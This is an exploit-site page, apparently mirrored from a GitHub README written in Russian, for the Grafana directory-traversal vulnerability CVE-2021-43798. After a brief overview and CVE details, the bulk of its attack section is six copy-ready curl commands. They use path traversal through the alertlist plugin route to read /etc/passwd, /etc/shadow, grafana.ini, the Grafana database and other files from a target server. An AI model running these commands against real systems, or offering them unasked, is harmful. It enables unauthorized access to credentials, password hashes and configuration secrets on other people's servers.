Sploitus

Exploit for CVE-2021-43798

kitploit · 2026-09-02

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MALEKALTHUBIANY-CVE-2021-43798
# Grafana CVE-2021-43798 Exploit

## Обзор

Этот репозиторий демонстрирует эксплуатацию CVE-2021-43798, уязвимости обхода каталога в Grafana. Эта уязвимость позволяет злоумышленникам читать произвольные файлы на сервере.

## Сведения о CVE

  * **CVE** : CVE-2021-43798
  * **Описание** : Уязвимость обхода каталога в Grafana версиях до 8.3.1.
  * **Воздействие** : Позволяет неавторизованным злоумышленникам читать произвольные файлы на сервере.



## Предварительные требования

  * Запущенная уязвимая версия Grafana (до 8.3.1)
  * Доступ к целевой инстанции Grafana



## Эксплуатация

### Использование curl

Чтобы эксплуатировать уязвимость вручную, вы можете использовать одну из следующих команд `curl`, чтобы попытаться прочитать чувствительные файлы:

root@kitploit:~
    
    
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
    curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"